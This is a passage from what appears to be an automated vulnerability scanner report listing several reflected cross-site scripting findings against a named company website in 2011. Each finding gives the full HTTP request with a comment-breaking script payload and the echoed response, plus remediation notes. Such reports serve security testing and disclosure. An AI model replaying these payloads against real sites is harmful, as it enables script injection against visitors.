GET /view/splunk-at-whitepages/SP-CAAAFUY?ea734--><script>alert(1)</script>daea00f9957=1 HTTP/1.1
Host: www.splunk.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: Enabled=true; __utmz=204527314.1296947359.3.3.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/35; XARAYASID=f9dtn7oaue1nupeh7s4dpfokt0; splunk_com_uid=1; Apache=173.193.214.243.1296947376244858; __kti=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; splunk_com_xt_uid=1; PHPSESSID=afumuefdbn5a7tsaitu6o38uq5; __ktv=b41b-2a6a-eded-246412df7cd0af7; __utma=204527314.226449434.1296942566.1296942985.1296947359.3; __utmc=204527314; __utmb=204527314.1.10.1296942566; __kts=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __ktt=ea5-22fb-55cd-38e12df7cd0af8;

Response

HTTP/1.1 200 OK
Date: Sun, 06 Feb 2011 16:02:49 GMT
Server: Apache/2.2.8 (EL)
Vary: Host,Accept-Encoding,User-Agent
X-Powered-By: PHP/5.2.6
Expires: 0
Cache-Control: public, must-revalidate
Pragma: public
ETag: eb0510474468914a4b54ffba6c9acb661297008170
Last-Modified: Sun, 06 Feb 2011 16:02:50 GMT
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 25223

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:dc="http://purl.org/dc/e
...[SNIP]...
<script>alert(1)</script>daea00f9957=1 -->
...[SNIP]...

4.608. http://www.splunk.com/view/support-documents/SP-CAAAAD4 [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.splunk.com
Path:	/view/support-documents/SP-CAAAAD4

Issue detail

The value of REST URL parameter 1 is copied into an HTML comment. The payload a0b21--><script>alert(1)</script>0988a50efef was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /viewa0b21--><script>alert(1)</script>0988a50efef/support-documents/SP-CAAAAD4 HTTP/1.1
Host: www.splunk.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: Enabled=true; Apache=173.193.214.243.1296942538894423; __kti=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __utmz=204527314.1296942566.1.1.utmgclid=CPeW6bn_8aYCFcfe4Aod22SxHw|utmccn=(not%20set)|utmcmd=(not%20set); PHPSESSID=fi3ckujbctl2f58e0314143p91; __ktv=b41b-2a6a-eded-246412df7cd0af7; __utma=204527314.226449434.1296942566.1296942566.1296942566.1; XARAYASID=1mtgfd73mkm07svvqv720eu567; __utmc=204527314; __utmb=204527314.1.10.1296942566; __kts=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __ktt=ea5-22fb-55cd-38e12df7cd0af8;

Response

HTTP/1.1 404 Not Found
Date: Sat, 05 Feb 2011 22:18:27 GMT
Server: Apache/2.2.8 (EL)
Vary: Host,Accept-Encoding,User-Agent
X-Powered-By: PHP/5.2.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: splunk_com_uid=1; expires=Sat, 05-Feb-2011 22:48:27 GMT; path=/
Set-Cookie: splunk_com_xt_uid=1; expires=Sat, 05-Feb-2011 22:48:27 GMT; path=/
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 18403

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:dc="http://purl.org/dc/e
...[SNIP]...
<script>alert(1)</script>0988a50efef/support-documents/SP-CAAAAD4 -->
...[SNIP]...

4.609. http://www.splunk.com/view/support-documents/SP-CAAAAD4 [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.splunk.com
Path:	/view/support-documents/SP-CAAAAD4

Issue detail

The value of REST URL parameter 2 is copied into an HTML comment. The payload 246c2--><script>alert(1)</script>6666c625d55 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /view/support-documents246c2--><script>alert(1)</script>6666c625d55/SP-CAAAAD4 HTTP/1.1
Host: www.splunk.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: Enabled=true; Apache=173.193.214.243.1296942538894423; __kti=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __utmz=204527314.1296942566.1.1.utmgclid=CPeW6bn_8aYCFcfe4Aod22SxHw|utmccn=(not%20set)|utmcmd=(not%20set); PHPSESSID=fi3ckujbctl2f58e0314143p91; __ktv=b41b-2a6a-eded-246412df7cd0af7; __utma=204527314.226449434.1296942566.1296942566.1296942566.1; XARAYASID=1mtgfd73mkm07svvqv720eu567; __utmc=204527314; __utmb=204527314.1.10.1296942566; __kts=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __ktt=ea5-22fb-55cd-38e12df7cd0af8;

Response

HTTP/1.1 404 Not Found
Date: Sat, 05 Feb 2011 22:18:57 GMT
Server: Apache/2.2.8 (EL)
Vary: Host,Accept-Encoding,User-Agent
X-Powered-By: PHP/5.2.6
Expires: 0
Cache-Control: public, must-revalidate
Pragma: public
Set-Cookie: splunk_com_uid=1; expires=Sat, 05-Feb-2011 22:48:57 GMT; path=/
Set-Cookie: splunk_com_xt_uid=1; expires=Sat, 05-Feb-2011 22:48:57 GMT; path=/
ETag: b3a59d8e5ec2a1bfc5e2107fdc3f7f8d1296944337
Last-Modified: Sat, 05 Feb 2011 22:18:57 GMT
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 18403

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:dc="http://purl.org/dc/e
...[SNIP]...
<script>alert(1)</script>6666c625d55/SP-CAAAAD4 -->
...[SNIP]...

4.610. http://www.splunk.com/view/support-documents/SP-CAAAAD4 [REST URL parameter 3] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.splunk.com
Path:	/view/support-documents/SP-CAAAAD4

Issue detail

The value of REST URL parameter 3 is copied into an HTML comment. The payload fce0c--><script>alert(1)</script>d89b6dd1fe7 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /view/support-documents/SP-CAAAAD4fce0c--><script>alert(1)</script>d89b6dd1fe7 HTTP/1.1
Host: www.splunk.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: Enabled=true; Apache=173.193.214.243.1296942538894423; __kti=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __utmz=204527314.1296942566.1.1.utmgclid=CPeW6bn_8aYCFcfe4Aod22SxHw|utmccn=(not%20set)|utmcmd=(not%20set); PHPSESSID=fi3ckujbctl2f58e0314143p91; __ktv=b41b-2a6a-eded-246412df7cd0af7; __utma=204527314.226449434.1296942566.1296942566.1296942566.1; XARAYASID=1mtgfd73mkm07svvqv720eu567; __utmc=204527314; __utmb=204527314.1.10.1296942566; __kts=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __ktt=ea5-22fb-55cd-38e12df7cd0af8;

Response

HTTP/1.1 404 Not Found
Date: Sat, 05 Feb 2011 22:19:27 GMT
Server: Apache/2.2.8 (EL)
Vary: Host,Accept-Encoding,User-Agent
X-Powered-By: PHP/5.2.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: splunk_com_uid=1; expires=Sat, 05-Feb-2011 22:49:27 GMT; path=/
Set-Cookie: splunk_com_xt_uid=1; expires=Sat, 05-Feb-2011 22:49:27 GMT; path=/
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 18403

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:dc="http://purl.org/dc/e
...[SNIP]...
<script>alert(1)</script>d89b6dd1fe7 -->
...[SNIP]...

4.611. http://www.splunk.com/view/support-documents/SP-CAAAAD4 [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.splunk.com
Path:	/view/support-documents/SP-CAAAAD4

Issue detail

The name of an arbitrarily supplied request parameter is copied into an HTML comment. The payload 35822--><script>alert(1)</script>8e155c440b5 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /view/support-documents/SP-CAAAAD4?35822--><script>alert(1)</script>8e155c440b5=1 HTTP/1.1
Host: www.splunk.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: Enabled=true; Apache=173.193.214.243.1296942538894423; __kti=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __utmz=204527314.1296942566.1.1.utmgclid=CPeW6bn_8aYCFcfe4Aod22SxHw|utmccn=(not%20set)|utmcmd=(not%20set); PHPSESSID=fi3ckujbctl2f58e0314143p91; __ktv=b41b-2a6a-eded-246412df7cd0af7; __utma=204527314.226449434.1296942566.1296942566.1296942566.1; XARAYASID=1mtgfd73mkm07svvqv720eu567; __utmc=204527314; __utmb=204527314.1.10.1296942566; __kts=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __ktt=ea5-22fb-55cd-38e12df7cd0af8;

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:17:30 GMT
Server: Apache/2.2.8 (EL)
Vary: Host,Accept-Encoding,User-Agent
X-Powered-By: PHP/5.2.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 21552

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:dc="http://purl.org/dc/e
...[SNIP]...
<script>alert(1)</script>8e155c440b5=1 -->
...[SNIP]...

4.612. http://www.splunk.com/view/support-programs/SP-CAAACC8 [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.splunk.com
Path:	/view/support-programs/SP-CAAACC8

Issue detail

The value of REST URL parameter 1 is copied into an HTML comment. The payload 1e04b--><script>alert(1)</script>9352c4b4007 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /view1e04b--><script>alert(1)</script>9352c4b4007/support-programs/SP-CAAACC8 HTTP/1.1
Host: www.splunk.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: Enabled=true; Apache=173.193.214.243.1296942538894423; __kti=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __utmz=204527314.1296942566.1.1.utmgclid=CPeW6bn_8aYCFcfe4Aod22SxHw|utmccn=(not%20set)|utmcmd=(not%20set); PHPSESSID=fi3ckujbctl2f58e0314143p91; __ktv=b41b-2a6a-eded-246412df7cd0af7; __utma=204527314.226449434.1296942566.1296942566.1296942566.1; XARAYASID=1mtgfd73mkm07svvqv720eu567; __utmc=204527314; __utmb=204527314.1.10.1296942566; __kts=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __ktt=ea5-22fb-55cd-38e12df7cd0af8;

Response

HTTP/1.1 404 Not Found
Date: Sat, 05 Feb 2011 22:18:27 GMT
Server: Apache/2.2.8 (EL)
Vary: Host,Accept-Encoding,User-Agent
X-Powered-By: PHP/5.2.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: splunk_com_uid=1; expires=Sat, 05-Feb-2011 22:48:27 GMT; path=/
Set-Cookie: splunk_com_xt_uid=1; expires=Sat, 05-Feb-2011 22:48:27 GMT; path=/
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 18399

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:dc="http://purl.org/dc/e
...[SNIP]...
<script>alert(1)</script>9352c4b4007/support-programs/SP-CAAACC8 -->
...[SNIP]...

4.613. http://www.splunk.com/view/support-programs/SP-CAAACC8 [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.splunk.com
Path:	/view/support-programs/SP-CAAACC8

Issue detail

The value of REST URL parameter 2 is copied into an HTML comment. The payload 725b2--><script>alert(1)</script>5959191eed4 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /view/support-programs725b2--><script>alert(1)</script>5959191eed4/SP-CAAACC8 HTTP/1.1
Host: www.splunk.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: Enabled=true; Apache=173.193.214.243.1296942538894423; __kti=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __utmz=204527314.1296942566.1.1.utmgclid=CPeW6bn_8aYCFcfe4Aod22SxHw|utmccn=(not%20set)|utmcmd=(not%20set); PHPSESSID=fi3ckujbctl2f58e0314143p91; __ktv=b41b-2a6a-eded-246412df7cd0af7; __utma=204527314.226449434.1296942566.1296942566.1296942566.1; XARAYASID=1mtgfd73mkm07svvqv720eu567; __utmc=204527314; __utmb=204527314.1.10.1296942566; __kts=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __ktt=ea5-22fb-55cd-38e12df7cd0af8;

Response

HTTP/1.1 404 Not Found
Date: Sat, 05 Feb 2011 22:18:58 GMT
Server: Apache/2.2.8 (EL)
Vary: Host,Accept-Encoding,User-Agent
X-Powered-By: PHP/5.2.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: splunk_com_uid=1; expires=Sat, 05-Feb-2011 22:48:58 GMT; path=/
Set-Cookie: splunk_com_xt_uid=1; expires=Sat, 05-Feb-2011 22:48:58 GMT; path=/
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 18399

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:dc="http://purl.org/dc/e
...[SNIP]...
<script>alert(1)</script>5959191eed4/SP-CAAACC8 -->
...[SNIP]...

4.614. http://www.splunk.com/view/support-programs/SP-CAAACC8 [REST URL parameter 3] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.splunk.com
Path:	/view/support-programs/SP-CAAACC8

Issue detail

The value of REST URL parameter 3 is copied into an HTML comment. The payload 67e7c--><script>alert(1)</script>102368518a3 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /view/support-programs/SP-CAAACC867e7c--><script>alert(1)</script>102368518a3 HTTP/1.1
Host: www.splunk.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: Enabled=true; Apache=173.193.214.243.1296942538894423; __kti=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __utmz=204527314.1296942566.1.1.utmgclid=CPeW6bn_8aYCFcfe4Aod22SxHw|utmccn=(not%20set)|utmcmd=(not%20set); PHPSESSID=fi3ckujbctl2f58e0314143p91; __ktv=b41b-2a6a-eded-246412df7cd0af7; __utma=204527314.226449434.1296942566.1296942566.1296942566.1; XARAYASID=1mtgfd73mkm07svvqv720eu567; __utmc=204527314; __utmb=204527314.1.10.1296942566; __kts=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __ktt=ea5-22fb-55cd-38e12df7cd0af8;

Response

HTTP/1.1 404 Not Found
Date: Sat, 05 Feb 2011 22:19:28 GMT
Server: Apache/2.2.8 (EL)
Vary: Host,Accept-Encoding,User-Agent
X-Powered-By: PHP/5.2.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: splunk_com_uid=1; expires=Sat, 05-Feb-2011 22:49:28 GMT; path=/
Set-Cookie: splunk_com_xt_uid=1; expires=Sat, 05-Feb-2011 22:49:28 GMT; path=/
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 18399

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:dc="http://purl.org/dc/e
...[SNIP]...
<script>alert(1)</script>102368518a3 -->
...[SNIP]...

4.615. http://www.splunk.com/view/support-programs/SP-CAAACC8 [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.splunk.com
Path:	/view/support-programs/SP-CAAACC8

Issue detail

The name of an arbitrarily supplied request parameter is copied into an HTML comment. The payload c2dd1--><script>alert(1)</script>4151639d24c was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /view/support-programs/SP-CAAACC8?c2dd1--><script>alert(1)</script>4151639d24c=1 HTTP/1.1
Host: www.splunk.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: Enabled=true; Apache=173.193.214.243.1296942538894423; __kti=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __utmz=204527314.1296942566.1.1.utmgclid=CPeW6bn_8aYCFcfe4Aod22SxHw|utmccn=(not%20set)|utmcmd=(not%20set); PHPSESSID=fi3ckujbctl2f58e0314143p91; __ktv=b41b-2a6a-eded-246412df7cd0af7; __utma=204527314.226449434.1296942566.1296942566.1296942566.1; XARAYASID=1mtgfd73mkm07svvqv720eu567; __utmc=204527314; __utmb=204527314.1.10.1296942566; __kts=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __ktt=ea5-22fb-55cd-38e12df7cd0af8;

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:17:42 GMT
Server: Apache/2.2.8 (EL)
Vary: Host,Accept-Encoding,User-Agent
X-Powered-By: PHP/5.2.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 24090

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:dc="http://purl.org/dc/e
...[SNIP]...
<script>alert(1)</script>4151639d24c=1 -->
...[SNIP]...

4.616. http://www.splunk.com/view/support/SP-CAAAAFV [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.splunk.com
Path:	/view/support/SP-CAAAAFV

Issue detail

The value of REST URL parameter 1 is copied into an HTML comment. The payload 3d093--><script>alert(1)</script>310d4d8b3fe was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /view3d093--><script>alert(1)</script>310d4d8b3fe/support/SP-CAAAAFV HTTP/1.1
Host: www.splunk.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
